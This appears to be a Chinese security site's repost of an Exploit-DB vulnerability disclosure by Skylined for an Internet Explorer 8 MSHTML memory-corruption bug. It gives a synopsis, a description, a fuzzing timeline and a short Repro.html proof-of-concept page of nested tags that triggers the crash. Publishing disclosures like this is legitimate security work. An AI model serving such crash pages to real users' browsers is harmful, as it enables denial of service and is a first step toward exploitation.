Microsoft Internet Explorer 8 – MSHTML ‘Ptls5::LsFindSpanVisualBoundaries’ Memory Corruption - 体验盒子

作者： Skylined

日期： 2016-11-22

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/40815/

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<!--

Source: http://blog.skylined.nl/20161121001.html

Synopsis

A specially crafted web-page can cause an unknown type of memory corruption in Microsoft Internet Explorer 8. This vulnerability can cause the Ptls5::LsFindSpanVisualBoundaries method (or other methods called by it) to access arbitrary memory.

Known affected software, attack vectors and mitigations

Microsoft Internet Explorer 8

An attacker would need to get a target user to open a specially crafted web-page. JavaScript is not necessarily required to trigger the issue.

Description

The memory corruption causes the Ptls5::LsFindSpanVisualBoundaries method to access data at seemingly random addresses. However, these addresses appear to always be in the same range as valid heap addresses, even if they are often not DWORD aligned. The reason for the memory corruption is not immediately obvious.

Repro.html

-->

<!DOCTYPE html>

<body>

<pre>

<x>

<sub>

<ruby>

</ruby>

</sub>

</x>

</pre>

</button>

</body>

</html>

<!--

Time-line

July 2014: This vulnerability was found through fuzzing.

November 2016: Details of this issue are released.

-->

Microsoft Internet Explorer 8 – MSHTML ‘Ptls5::Ls­Find­Span­Visual­Boundaries’ Memory Corruption

Microsoft Internet Explorer 8 – MSHTML ‘Ptls5::LsFindSpanVisualBoundaries’ Memory Corruption